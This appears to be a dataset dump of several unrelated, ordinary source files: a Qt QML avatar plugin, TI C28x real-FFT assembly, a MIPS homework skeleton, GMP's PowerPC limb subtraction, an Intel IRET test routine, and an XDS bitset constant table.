text
stringlengths
1
1.05M
#include "cgavatars_plugin.h" #include "cgavatar.h" #include "cgavatardata.h" #include <qqml.h> #include <QQmlContext> void CGAvatarsPlugin::initializeEngine(QQmlEngine *engine, const char *uri) { Q_UNUSED(uri) CGAvatarProvider* provider = new CGAvatarProvider(); engine->rootContext()->setContextProperty("Avatars",provider->availableAvatars()); engine->addImageProvider("avatars",provider); } void CGAvatarsPlugin::registerTypes(const char *uri) { // @uri com.chessgames.avatars Q_UNUSED(uri); Q_ASSERT(QLatin1String(uri) == QLatin1String("CGAvatars")); qmlRegisterType<CGAvatarData>(uri,1,0,"CGAvatarData"); }
;;############################################################################# ;;! \file source/fft/RFFT_f32.asm ;;! ;;! \brief Real FFT ;;! \author C2000 ;; ;; DESCRIPTION: ;; ;; This function computes a real FFT. The input buffer must be aligned to ;; a multiple of the FFT size. If it is not aligned then the output buffer ;; will yield invalid results. If you do not wish to align the input buffer ;; then use the RFFT_f32u function. Using this function will reduce cycle ;; performance of the algorithm. ;; ;; FUNCTIONS: ;; ;; void RFFT_f32(RFFT_F32_STRUCT_Handle) ;; ;; where RFFT_F32_STRUCT_Handle is defined as: ;; typedef RFFT_F32_STRUCT* RFFT_F32_STRUCT_Handle; ;; ;; and where RFFT_F32_STRUCT is a structure defined as: ;; ;; typedef struct { ;; float *InBuf; ;; float *OutBuf; ;; float *CosSinBuf; ;; float *MagBuf; ;; float *PhaseBuf; ;; uint16_t FFTSize; ;; uint16_t FFTStages; ;; } RFFT_F32_STRUCT; ;; ;; ASSUMPTIONS: ;; ;; * FFTSize must be a power of 2 (32, 64, 128, etc) ;; * FFTSize must be greater or equal to 32 ;; * FFTStages must be log2(FFTSize) ;; * InBuf, OutBuf, CosSinBuf are FFTSize in length ;; * MagBuf and PhaseBuf are FFTSize/2 in length ;; * MagBuf and PhaseBuf are not used by this function. ;; They are only used by the magitude and phase calculation functions. ;; ;; ALGORITHM: ;; ;; 1) Bit reverse input data and calculate stages 1, 2 & 3: ;; ;; In Buf (read in bit reverse order) Out Buf ;; +----+ +----+ ;; | I1 | (((I1 + I2) + (I3 + I4)) + ((I5 + I6) + (I7 + I8)))/8 -> | I1'| ;; | I2 | ((I1 - I2) + COS*((I5 - I6) + (I8 - I7)) )/8 -> | I2'| ;; | I3 | ((I1 + I2) - (I3 + I4) )/8 -> | I3'| ;; | I4 | ((I1 - I2) - COS*((I5 - I6) + (I8 - I7)) )/8 -> | I4'| ;; | I5 | (((I1 + I2) + (I3 + I4)) - ((I5 + I6) + (I7 + I8)))/8 -> | I5'| ;; | I6 | (COS*((I8 - I7) - (I5 - I6)) - (I4 - I3) )/8 -> | I6'| ;; | I7 | ((I7 + I8) - (I5 + I6) )/8 -> | I7'| ;; | I8 | (COS*((I8 - I7) - (I5 - I6)) + (I4 - I3) )/8 -> | I8'| ;; . ;; . ;; \|/ ;; Repeat above FFTSize/8 (i.e. if FFTSize = 1024, Repeat = 128 times) ;; ;; Note: COS = COS( 1*2*PI/8) = SIN( 1*2*PI/8) ;; ;; 2) Calculate stages 4 and up: ;; ;; ;; Out Buf 4 5 6 7 8 9 10 <- Stages ;; +- +---------+ - - - - - - -- ;; | | Y1 | 0 0 0 0 0 0 0 <- Y1 + Y3 ;; | |---------| ;; | | X(I1) | 1 1 1 1 1 1 1 <- X(I1) + [X(I3)*COS + X(I4)*SIN] ;; | |---------| ;; | | . | ;; | | . | 3 7 15 31 63 127 255 <- Inner Loop Repeat Times ;; | | \./ | ;; | I |---------| ;; | N | Y2 | 4 8 16 32 64 128 256 <- Y2 ;; | N |---------| ;; | E | /.\ | ;; | R | . | ;; | | . | ;; | L |---------| ;; | O | X(I2) | 7 15 31 63 127 255 511 <- X(I1) - [X(I3)*COS + X(I4)*SIN] ;; | O |---------| ;; | P | Y3 | 8 16 32 64 128 256 512 <- Y1 - Y3 ;; | |---------| ;; | | X(I3) | 9 17 33 65 129 257 513 <- [X(I4)*COS - X(I3)*SIN] - X(I2) ;; | |---------| ;; | | . | ;; | | . | ;; | | \./ | ;; | |---------| ;; | | Y4 |12 24 48 96 192 384 768 <- -Y4 ;; | |---------| ;; | | /.\ | ;; | | . | ;; | | . | ;; | |---------| ;; | | X(I4) |15 31 63 127 255 511 1023 <- [X(I4)*COS - X(I3)*SIN] + X(I2) ;; +- |---------| ;; | |16 32 64 128 256 512 1024 ;; -- --- --- --- --- --- ---- ;; . 1 <- Outer Loop Repeat Times (16 FFT) ;; . 2 1 <- Outer Loop Repeat Times (32 FFT) ;; . 4 2 1 <- Outer Loop Repeat Times (64 FFT) ;; . 8 4 2 1 <- Outer Loop Repeat Times (128 FFT) ;; . 16 8 4 2 1 <- Outer Loop Repeat Times (256 FFT) ;; . 32 16 8 4 2 1 <- Outer Loop Repeat Times (512 FFT) ;; . 64 32 16 8 4 2 1 <- Outer Loop Repeat Times (1024 FFT) ;; . ;; . ;; \|/ ;; ;; Group: C2000 ;; Target Family: C28x+FPU32 ;; ;;############################################################################# ;;$TI Release: C28x Floating Point Unit Library V1.50.00.00 $ ;;$Release Date: Oct 18, 2018 $ ;;$Copyright: Copyright (C) 2018 Texas Instruments Incorporated - ;; http://www.ti.com/ ALL RIGHTS RESERVED $ ;;############################################################################# ;=========================================================================== ; Function: void RFFT_f32(RFFT_F32_STRUCT_Handle) ;=========================================================================== ; RFFT_f32_Stages1and2and3andBitReverse(RFFT_F32_STRUCT_Handle); ; RFFT_f32_Stages4andUp(RFFT_F32_STRUCT_Handle); ; .global _RFFT_f32 .sect .text _RFFT_f32: ADDB SP,#2 MOVL *-SP[2],XAR4 LCR _rfft_f32_Stages1and2and3andBitReverse MOVL XAR4,*-SP[2] LCR _rfft_f32_Stages4andUp SUBB SP,#2 LRETR ;=========================================================================== ; Function: void rfft_f32_Stages1and2and3andBitReverse(RFFT_F32_STRUCT_Handle) ;=========================================================================== ;--------------------------------------------------------------------------- ; ; DESCRIPTION: ; ; This function bit reverses the input and computes stages 1, 2 and 3 ; ; ON ENTRY: ; ; XAR4 = Starting address of the RFFT_F32_STRUCT structure ; ; REGISTER USAGE: ; ; AR0, XAR1, XAR2, XAR4, XAR5, AR3, AR6, XAR7, ACC, ; R0H, R1H, R2H, R3H, R4H, R5H, R6H, R7H ; ; On Exit: ; ; RFFT_F32_STRUCT OutBuf contains the computed result ; ;--------------------------------------------------------------------------- ;offsets to the stack which holds the bit reversed elements ;--------------------------------------------------------------------------- I1 .set 06H I2 .set 08H I3 .set 0AH I4 .set 0CH I5 .set 0EH I6 .set 10H I7 .set 12H I8 .set 14H cossinBuf .set 04H ;------------------------------------------------------------------------------ ;Offset to the stack which holds intermediate results of FFT computation ;------------------------------------------------------------------------------ .global _rfft_f32_Stages1and2and3andBitReverse .text _rfft_f32_Stages1and2and3andBitReverse: ;---------------------------------------------------------------------- ; Save all save-on-entry registers used ;---------------------------------------------------------------------- PUSH XAR1 PUSH XAR2 PUSH XAR3 MOV32 *SP++,R4H MOV32 *SP++,R5H MOV32 *SP++,R6H MOV32 *SP++,R7H ADDB SP,#14h MOVL XAR2,*+XAR4[0] ; &Inbuf MOVL XAR5,*+XAR4[2] ; &Outbuf MOVL XAR3,*+XAR4[2] ADDB XAR3,#8 ; &Outbuf[4] MOVL XAR7,*+XAR4[4] ; &CosSinbuf MOV AR0,#0Ah MOV AH,*+XAR4[AR0] ; FFT SIZE MOV AR0,AH LSR AH,3 SUBB AH,#1 ; (Size / 8) - 1 MOVL XAR1,#0000h ; index if memory is not aligned RPTB _rfft_32_Last, AH ;------------------------------------------------------------------------------ ; Input buffer must be aligned for this code ;------------------------------------------------------------------------------ NOP *,ARP2 MOVL ACC,*BR0++ MOVL *-SP[I1],ACC ;I1 MOVL ACC,*BR0++ MOVL *-SP[I2],ACC ;I2 MOVL ACC,*BR0++ MOVL *-SP[I3],ACC ;I3 MOVL ACC,*BR0++ MOVL *-SP[I4],ACC ;I4 MOVL ACC,*BR0++ MOVL *-SP[I5],ACC ;I5 MOVL ACC,*BR0++ MOVL *-SP[I6],ACC ;I6 MOVL ACC,*BR0++ MOVL *-SP[I7],ACC ;I7 MOVL ACC,*BR0++ MOVL *-SP[I8],ACC ;I8 ;------------------------------------------------------------------------------ ; Computations for stages 1 2, and 3 ; OutBufIndex++ = (I1 + I2) + (I3 + I4) + (I5 + I6) + (I7 + I8); (A) <- XAR5 ; OutBufIndex++ = (I1 - I2) + COS x ((I5 - I6) + (I8 - I7)); (B) ; OutBufIndex++ = (I1 + I2) - (I3 + I4); (C) ; OutBufIndex++ = (I1 - I2) - COS x ((I5 - I6) + (I8 - I7)); (D) ; OutBufIndex++ = ((I1 + I2) + (I3 + I4)) - ((I5 + I6) + (I7 + I8)); (E) <- XAR3 ; OutBufIndex++ = COS x ((I8 - I7) - (I5 - I6)) - (I4 - I3); (F) ; OutBufIndex++ = (I7 + I8) - (I5 + I6); (G) ; OutBufIndex++ = COS x ((I8 - I7) - (I5 - I6)) + (I4 - I3); (H) ;------------------------------------------------------------------------------ MOV32 R0H, *-SP[I8] ; R0H = I8 MOV32 R1H, *-SP[I7] ; R1H = I7 SUBF32 R2H, R0H, R1H ; R2H = I8-I7 || MOV32 R3H, *-SP[I5] ; R3H = I5 ADDF32 R0H, R1H, R0H ; R0H = I7+I8 || MOV32 R4H, *-SP[I6] ; R4H = I6 SUBF32 R1H, R3H, R4H ; R1H = I5-I6 || MOV32 R5H, *-SP[I1] ; R5H = I1 ADDF32 R3H, R3H, R4H ; R3H = I5+I6 ADDF32 R4H, R1H, R2H ; R4H = (I5-I6) + (I8-I7) || MOV32 R6H,*XAR7 ; R6H = COS SUBF32 R7H, R0H, R3H ; R7H = (I7+I8) - (I5+I6) (G) MPYF32 R4H, R6H, R4H ; R4H = COS x ((I5-I6) + (I8-I7)) || SUBF32 R2H, R2H, R1H ; R2H = (I8-I7) - (I5-I6) ADDF32 R0H, R3H, R0H ; R0H = (I5+I6) + (I7+I8) || MOV32 *+XAR3[4], R7H ; store G MPYF32 R2H, R6H, R2H ; R2H = COS x ((I8-I7) - (I5-I6)) || MOV32 R7H, *-SP[I2] ; R7H = I2 SUBF32 R6H, R5H, R7H ; R6H = I1-I2 ADDF32 R5H, R5H, R7H ; R5H = I1+I2 || MOV32 R1H, *-SP[I4] ; R1H = I4 ADDF32 R3H, R6H, R4H ; R3H = (I1-I2) + COS x ((I5-I6) + (I8-I7)) (B) || MOV32 R7H, *-SP[I3] ; R7H = I3 SUBF32 R6H, R6H, R4H ; R6H = (I1-I2) - COS x ((I5-I6) + (I8-I7)) (D) SUBF32 R3H, R1H, R7H ; R3H = I4-I3 || MOV32 *+XAR5[2], R3H ; store B ADDF32 R4H, R7H, R1H ; R4H = I3+I4 || MOV32 *+XAR5[6], R6H ; store D SUBF32 R1H, R2H, R3H ; R1H = COS x ((I8-I7) - (I5-I6)) - (I4-I3) (F) ADDF32 R2H, R2H, R3H ; R2H = COS x ((I8-I7) - (I5-I6)) + (I4-I3) (H) ADDF32 R6H, R5H, R4H ; R6H = (I1+I2) + (I3+I4) || MOV32 *+XAR3[2], R1H ; save F SUBF32 R1H, R5H, R4H ; R1H = (I1+I2) - (I3+I4) (C) || MOV32 *+XAR3[6], R2H ; save H SUBF32 R3H, R6H, R0H ; R3H = (I1+I2) + (I3+I4) - ((I5+I6) + (I8+I7)) (E) ADDF32 R0H, R6H, R0H ; R0H = (I1+I2) + (I3+I4) + (I5+I6) + (I8+I7) (A) || MOV32 *+XAR5[4], R1H ; store C MOV32 *+XAR3[0], R3H ; store E MOV32 *+XAR5[0], R0H ; store A ADDB XAR5, #16 ADDB XAR3, #16 _rfft_32_Last: SUBB SP,#14h MOV32 R7H,*--SP MOV32 R6H,*--SP MOV32 R5H,*--SP MOV32 R4H,*--SP POP XAR3 POP XAR2 POP XAR1 LRETR ;=========================================================================== ; Function: void rfft_f32_Stages4andUp(RFFT_F32_STRUCT_Handle) ;=========================================================================== ;=========================================================================== ; ; ON ENTRY: ; ; XAR4 = Starting address of the RFFT_F32_STRUCT structure ; ; REGISTER USAGE: ; ; AR0, XAR1, XAR2, XAR4, XAR5, AR3, AR6, XAR7, ACC, ; R0H, R1H, R2H, R3H, R4H, R5H, R6H, R7H ; ; On Exit: ; ; RFFT_F32_STRUCT OutBuf contains the computed result ; ;--------------------------------------------------------------------------- ;---------------------------------------------------------------------- ; FFT_REAL structure offsets from XAR4 ;---------------------------------------------------------------------- RFFT_InBuf .set (0*2) RFFT_OutBuf .set (1*2) RFFT_CosSinBuf .set (2*2) RFFT_MagBuf .set (3*2) RFFT_PhaseBuf .set (4*2) RFFT_FFTSize .set (5*2) RFFT_FFTStages .set (RFFT_FFTSize+1) ;---------------------------------------------------------------------- ; Offsets for local variables stored on the stack ;---------------------------------------------------------------------- I1OFFSET .set 1 ; 16-bit I2I4OFFSET .set 2 ; 16-bit IDX_I .set 3 ; 16-bit IDX_K .set 4 ; 16-bit IDX_L .set 5 ; 16-bit IDX_SZBL .set 6 ; 16-bit IDX_M .set 8 ; 16-bit TEMPX1 .set (IDX_M+2*1) ; 32-bit OUTBUF .set 12 COSSINBUF .set 14 FRMSZ .set COSSINBUF .global _rfft_f32_Stages4andUp .text _rfft_f32_Stages4andUp: ;---------------------------------------------------------------------- ; Save all save-on-entry registers used ;---------------------------------------------------------------------- PUSH XAR1 PUSH XAR2 PUSH XAR3 MOV32 *SP++,R4H MOV32 *SP++,R5H MOV32 *SP++,R6H MOV32 *SP++,R7H ADDB SP,#FRMSZ ;---------------------------------------------------------------------- ; Initialize loop counters and offsets ; Note: Index k has changed from 3 to 2 due to loop unrolling. ;---------------------------------------------------------------------- MOV *-SP[I1OFFSET],#26 ; I1 & I3 pointer offset MOV *-SP[I2I4OFFSET],#38 ; I2 & I4 pointer offset MOV *-SP[IDX_K],#(2-1) ; Inner loop count MOV *-SP[IDX_L],#(16*2) ; 16 32-bit values calculated each ; inner loop for the first stage ;---------------------------------------------------------------------- ; Check the FFTStages and compute stage, outer loop count ;---------------------------------------------------------------------- MOVB XAR1,#RFFT_FFTStages MOV AL,*+XAR4[AR1] SUB AL,#3 ; If (fft->FFTStages <= 3) exit B _rfft_f32_End,LEQ MOV *-SP[IDX_I],AL ; IDX_I = FFTStages - 3 = i for ; stages loop control MOVB XAR0,#RFFT_FFTSize MOV AL,*+XAR4[AR0] ASR AL,#4 MOV *-SP[IDX_SZBL],AL ; IDX_SZBL = FFTSize/16 DEC AL MOV AR6, AL ; IDX_M = FFTSize/16-1 = m for ; outer loop control ;---------------------------------------------------------------------- ; Initialize pointers ;---------------------------------------------------------------------- .asg AR0, Offset1 .asg AR1, Offset2 .asg XAR2, I1ptr .asg AR3, InnerLoopCnt .asg XAR4, I2ptr .asg XAR5, I4ptr .asg AR6, OuterLoopCnt .asg XAR7, COSptr .asg XAR7, SINptr MOVL ACC, *+XAR4[RFFT_CosSinBuf] MOVL *-SP[COSSINBUF], ACC ADDB ACC, #8 MOVL *-SP[TEMPX1], ACC ; TEMPX1 = &CosSinBuf[4] MOVL I1ptr, *+XAR4[RFFT_OutBuf] ; I1ptr = &OutBuf[0] MOVL *-SP[OUTBUF], I1ptr MOVL I2ptr, *+XAR4[RFFT_OutBuf] MOVL I4ptr, *-SP[OUTBUF] ADDB I2ptr, #16 ; I2ptr = &OutBuf[8] MOV Offset1,#16 ; I1ptr[Offset1] = &OutBuf[8] MOV Offset2,#18 ; I1ptr[Offset2] = &OutBuf[9] ADDB I4ptr, #32 ; I4ptr = &OutBuf[16] MOV InnerLoopCnt, #(2-1) ; Inner loop count for 4th stage ;---------------------------------------------------------------------- ; Stage Loop: For each stage 4 and up: ;---------------------------------------------------------------------- _rfft_f32_StageLoop: ;---------------------------------------------------------------------- ; Outer Loop: IDX_M ; Stage 4: M = 1 to FFTSize/16 ; Stage 5: M = 1 to FFTSize/32 ; Stage 6: M = 1 to FFTSize/64 etc.. ; ; Calculate the following M times: ; ; I1 = Y1 = *I1ptr; ; I3 = *I3ptr; ; *I1ptr++ = Y = (I1 + I3) = Y1 + Y3 ; *I3ptr++ = Y3 = (I1 - I3) = Y1 - Y3 ; for(j=1; j <= k; j ++) ; { ; I1 = *I1ptr; ; I2 = *I2ptr; ; I3 = *I3ptr; ; I4 = *I4ptr; ; COS = COSptr++; ; SIN = COSptr++; ; I1ptr++ = I1 + I3xCOS + I4xSIN; (A) ; I2ptr-- = I1 - (I3xCOS + I4xSIN); (B) ; I3ptr++ = I4xCOS - I3xSIN - I2; (C) ; I4ptr-- = I4xCOS - I3xSIN + I2; (D) ; } ; Y4 = -Y4: ;---------------------------------------------------------------------- _rfft_f32_OuterLoop: MOVL COSptr, *-SP[TEMPX1] MOV32 R1H, *I1ptr ; R1H = Y1 MOV32 R3H, *I2ptr ; R3H = Y3 ADDF32 R2H, R1H, R3H ; R2H = Y1 + Y3 || MOV32 R0H, *COSptr++ ; R0H = COS (1) SUBF32 R4H, R1H, R3H ; R4H = (Y1 - Y3) || MOV32 R3H, *+I1ptr[Offset2] ; R3H = I3 (1) MOV32 *I1ptr++, R2H ; I1 = (Y1 + Y3) MPYF32 R1H, R3H, R0H ; R1H = I3*COS (1) || MOV32 R6H, *--I4ptr ; R6H = I4 (1) MPYF32 R2H, R6H, R0H ; R2H = I4*COS (1) || MOV32 R7H, *SINptr++ ; R7H = SIN (1) MPYF32 R3H, R3H, R7H ; R3H = I3*SIN (1) || MOV32 *I2ptr,R4H ; Y3 = Y1 - Y3 RPTB _rfft_f32_InnerLoop, InnerLoopCnt MPYF32 R4H, R6H, R7H ; R4H = I4*SIN (1) || MOV32 R6H, *--I2ptr ; R6H = I2 (1) SUBF32 R7H, R2H, R3H ; R7H = I4*COS - I3*SIN (1) || MOV32 R0H, *COSptr++ ; R0H = COS (2) ADDF32 R3H, R1H, R4H ; R3H = I3*COS + I4*SIN (1) || MOV32 R5H, *+I1ptr[Offset2] ; R5H = I3 (2) SUBF32 R2H, R7H, R6H ; R2H = I4*COS - I3*SIN - I2 (C1) || MOV32 R4H, *I1ptr ; R4H = I1 (1) ADDF32 R7H, R7H, R6H ; R7H = I4*COS - I3*SIN + I2 (D1) || MOV32 R6H, *--I4ptr ; R6H = I4 (2) ADDF32 R2H, R4H, R3H ; R2H = I1 + (I3*COS + I4*SIN) (A1) || MOV32 *+I1ptr[Offset1], R2H ; I3 = I4*COS - I3*SIN - I2 (save C1) SUBF32 R4H, R4H, R3H ; R4H = I1 - (I3*COS + I4*SIN) (B1) || MOV32 *+I4ptr[2], R7H ; I4 = I4*COS - I3*SIN + I2 (save D1) MPYF32 R1H, R5H, R0H ; R1H = I3*COS (2) || MOV32 *I1ptr++, R2H ; I1 = I1 + (I3*COS + I4*SIN) (save A1) MPYF32 R2H, R6H, R0H ; R2H = I4*COS (2) || MOV32 R7H, *SINptr++ ; R7H = SIN (2) MPYF32 R3H, R5H, R7H ; R3H = I3*SIN (2) || MOV32 *I2ptr, R4H ; I2 = I1 - (I3*COS + I4*SIN) (save B1) _rfft_f32_InnerLoop MPYF32 R4H,R6H,R7H ; R4H = I4*SIN (2) || MOV32 R6H,*--I2ptr ; R6H = I2 (2) SUBF32 R7H,R2H,R3H ; R7H = I4*COS - I3*SIN (2) || MOV32 R0H, *--I4ptr ; R0H = Y4 ADDF32 R3H,R1H,R4H ; R3H = I3*COS + I4*SIN (2) NEGF32 R0H, R0H ; R0H = -Y4 SUBF32 R2H,R7H,R6H ; R2H = I4*COS - I3*SIN - I2 (C2) || MOV32 *I4ptr++, R0H ; Y4 = -Y4 ADDF32 R7H,R7H,R6H ; R7H = I4*COS - I3*SIN + I2 (D2) || MOV32 R4H,*I1ptr ; R4H = I1 (2) ADDF32 R2H,R4H,R3H ; R2H = I1 + (I3*COS + I4*SIN) (A2) || MOV32 *+I1ptr[Offset1],R2H ; I3 = I4*COS - I3*SIN - I2 (save C2) SUBF32 R4H,R4H,R3H ; R4H = I1 - (I3*COS + I4*SIN) (B2) || MOV32 *I4ptr,R7H ; I4 = I4*COS - I3*SIN + I2 (save D2) MOV32 *I1ptr,R2H ; I1 = I1 + (I3*COS + I4*SIN) (save A2) MOV32 *I2ptr,R4H ; I2 = I1 - (I3*COS + I4*SIN) (save B2) MOVU ACC,*-SP[I1OFFSET] ADDL I1ptr,ACC ; I1ptr += I1offset MOVU ACC,*-SP[I2I4OFFSET] ADDL I2ptr,ACC ; I2ptr += I2I4offset ADDL I4ptr,ACC ; I4ptr += I2I4offset BANZ _rfft_f32_OuterLoop,OuterLoopCnt-- ;---------------------------------------------------------------------- ; End of Outer Loop ; Adjust loop counts and pointer offsets ;---------------------------------------------------------------------- MOVU ACC,*-SP[IDX_SZBL] ; IDX_SZBL = IDX_SZBL/2 ASR AL,#1 MOV *-SP[IDX_SZBL],AL DEC AL MOV AR6, AL ; Outer Loop Count = IDX_SZBL-1 MOVL ACC, XAR3 ; Inner Loop Count LSL ACC, #1 ADDB ACC, #3 MOVL XAR3, ACC MOVU ACC,*-SP[I1OFFSET] ; I1I3offset = I1I3offset * 2 - 2 LSL ACC, #1 SUBB ACC, #2 MOV *-SP[I1OFFSET],AL MOVU ACC,*-SP[I2I4OFFSET] ; I2I4offset = I2I4offset * 2 + 2 LSL ACC, #1 ADDB ACC, #2 MOV *-SP[I2I4OFFSET],AL ;---------------------------------------------------------------------- ; Update pointers for the next iteration of FFTStage loop ;---------------------------------------------------------------------- MOVL COSptr,*-SP[COSSINBUF] ; COSptr = &CosSinBuf[0] MOVL I1ptr, *-SP[OUTBUF] ; I1ptr = &OutBuf[0] MOVL I2ptr, *-SP[OUTBUF] MOVL I4ptr, *-SP[OUTBUF] MOVU ACC, *-SP[IDX_L] ADDL COSptr,ACC SUBB COSptr,#8 ; COSptr = &CosSinBuf[l/2 - 4] MOVL *-SP[TEMPX1],COSptr ADDL I2ptr,ACC ; I2ptr = &OutBuf[l] MOVZ Offset1, AL MOVZ Offset2, AL ADDB XAR1, #2 LSL ACC,1 ; l*2 MOV *-SP[IDX_L],AL ADDL I4ptr,ACC ; I3ptr = &OutBuf[2*l] DEC *-SP[IDX_I] SBF _rfft_f32_StageLoop, NEQ _rfft_f32_End: ;---------------------------------------------------------------------- ; Restore the save-on-entry registers that were saved ;---------------------------------------------------------------------- SUBB SP,#FRMSZ MOV32 R7H,*--SP MOV32 R6H,*--SP MOV32 R5H,*--SP MOV32 R4H,*--SP POP XAR3 POP XAR2 POP XAR1 LRETR ;;############################################################################# ;; End of File ;;#############################################################################
# print_array.asm program # CS 64, Z.Matni, zmatni@ucsb.edu # # Don't forget to: # make all arguments to any function go in $a0 and/or $a1 # make all returned values from functions go in $v0 .data # TODO: Write your initializations here .text printA: # TODO: Write your function code here main: # TODO: Write your main function code here exit: # TODO: Write code to properly exit a SPIM simulation
dnl PowerPC-32 mpn_sub_n -- subtract limb vectors. dnl Copyright 2002, 2005 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C cycles/limb C 603e: ? C 604e: 3.25 C 75x (G3): 3.5 C 7400,7410 (G4): 3.5 C 744x,745x (G4+): 4.25 C power4/ppc970: 2.0 C power5: 2.5 C INPUT PARAMETERS C rp r3 C s1p r4 C s2p r5 C n r6 C cy r7 ASM_START() PROLOGUE(mpn_sub_nc) subfic r0,r7,0 C set hw cy from cy argument cmpwi cr0,r6,15 C more than 15 limbs? ble L(com) C branch if <= 15 limbs b L(BIG) EPILOGUE(mpn_sub_nc) PROLOGUE(mpn_sub_n) subfc r0,r0,r0 C set hw cy cmpwi cr0,r6,15 C more than 15 limbs? bgt L(BIG) C branch if > 15 limbs L(com): mtctr r6 C copy size into CTR addi r3,r3,-4 C offset rp, it's updated before it's used lwz r0,0(r4) C load s1 limb lwz r7,0(r5) C load s2 limb subfe r10,r7,r0 bdz L(endS) L(loopS): lwzu r0,4(r4) C load s1 limb lwzu r7,4(r5) C load s2 limb stwu r10,4(r3) C store result limb subfe r10,r7,r0 bdnz L(loopS) L(endS): stwu r10,4(r3) C store result limb subfe r3, r0, r0 C 0 or -1 subfic r3, r3, 0 C 0 or 1 blr L(BIG): stmw r30,-8(r1) C should avoid this for small sizes! andi. r12,r6,3 mtctr r12 C copy size into CTR addi r4,r4,-4 addi r5,r5,-4 addi r3,r3,-4 beq L(multiple_of_4) lwzu r0,4(r4) C load s1 limb lwzu r7,4(r5) C load s2 limb subfe r10,r7,r0 bdz L(end0) L(loop0): lwzu r0,4(r4) C load s1 limb lwzu r7,4(r5) C load s2 limb stwu r10,4(r3) C store result limb subfe r10,r7,r0 bdnz L(loop0) L(end0): stwu r10,4(r3) C store result limb L(multiple_of_4): srwi r6,r6,2 mtctr r6 C copy size into CTR lwz r0,4(r4) C load s1 limb lwz r7,4(r5) C load s2 limb lwz r8,8(r4) C load s1 limb lwz r9,8(r5) C load s2 limb lwz r10,12(r4) C load s1 limb lwz r11,12(r5) C load s2 limb lwzu r12,16(r4) C load s1 limb subfe r31,r7,r0 C add limbs with cy, set cy lwzu r6,16(r5) C load s2 limb bdz L(enda) L(loop): lwz r0,4(r4) C load s1 limb subfe r30,r9,r8 C add limbs with cy, set cy lwz r7,4(r5) C load s2 limb stw r31,4(r3) C store result limb lwz r8,8(r4) C load s1 limb subfe r31,r11,r10 C add limbs with cy, set cy lwz r9,8(r5) C load s2 limb stw r30,8(r3) C store result limb lwz r10,12(r4) C load s1 limb subfe r30,r6,r12 C add limbs with cy, set cy lwz r11,12(r5) C load s2 limb stw r31,12(r3) C store result limb lwzu r12,16(r4) C load s1 limb subfe r31,r7,r0 C add limbs with cy, set cy stwu r30,16(r3) C store result limb lwzu r6,16(r5) C load s2 limb bdnz L(loop) C decrement CTR and loop back L(enda): subfe r30,r9,r8 C add limbs with cy, set cy stw r31,4(r3) C store result limb subfe r31,r11,r10 C add limbs with cy, set cy stw r30,8(r3) C store result limb subfe r30,r6,r12 C add limbs with cy, set cy stw r31,12(r3) C store result limb stw r30,16(r3) C store result limb L(end): subfe r3, r0, r0 C 0 or -1 subfic r3, r3, 0 C 0 or 1 lmw r30,-8(r1) blr EPILOGUE(mpn_sub_n)
; BEGIN_LEGAL ; Intel Open Source License ; ; Copyright (c) 2002-2017 Intel Corporation. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. Redistributions ; in binary form must reproduce the above copyright notice, this list of ; conditions and the following disclaimer in the documentation and/or ; other materials provided with the distribution. Neither the name of ; the Intel Corporation nor the names of its contributors may be used to ; endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; END_LEGAL PUBLIC iretTest PUBLIC iret_func .686 .XMM .model flat,c .code iret_func PROC mov eax,-1 iretd iret_func ENDP iretTest PROC ; We have to build the stack frame ourselves sub esp,12 mov eax,0 mov [esp+8],eax ; Write the flags to zero mov eax,cs mov [esp+4],eax lea eax,here mov [esp+0],eax jmp iret_func here: ret iretTest ENDP end
.386p ; COPYRIGHT (c) 1995,99 XDS. All Rights Reserved. ; X2C_HISETs constant array ifdef OS2 .model FLAT endif DGROUP group _DATA public X2C_HISETs ifdef OS2 _DATA segment use32 dword public 'DATA' else _DATA segment use32 para public 'DATA' endif X2C_HISETs dd 0FFFFFFFFh, 0FFFFFFFEh, 0FFFFFFFCh, 0FFFFFFF8h dd 0FFFFFFF0h, 0FFFFFFE0h, 0FFFFFFC0h, 0FFFFFF80h dd 0FFFFFF00h, 0FFFFFE00h, 0FFFFFC00h, 0FFFFF800h dd 0FFFFF000h, 0FFFFE000h, 0FFFFC000h, 0FFFF8000h dd 0FFFF0000h, 0FFFE0000h, 0FFFC0000h, 0FFF80000h dd 0FFF00000h, 0FFE00000h, 0FFC00000h, 0FF800000h dd 0FF000000h, 0FE000000h, 0FC000000h, 0F8000000h dd 0F0000000h, 0E0000000h, 0C0000000h, 080000000h _DATA ends end
Name: ys_mini.asm Type: file Size: 103175 Last-Modified: '2016-05-13T04:50:38Z' SHA-1: 4F3951054A771768F063622D8AA5F40F22FEC417 Description: null
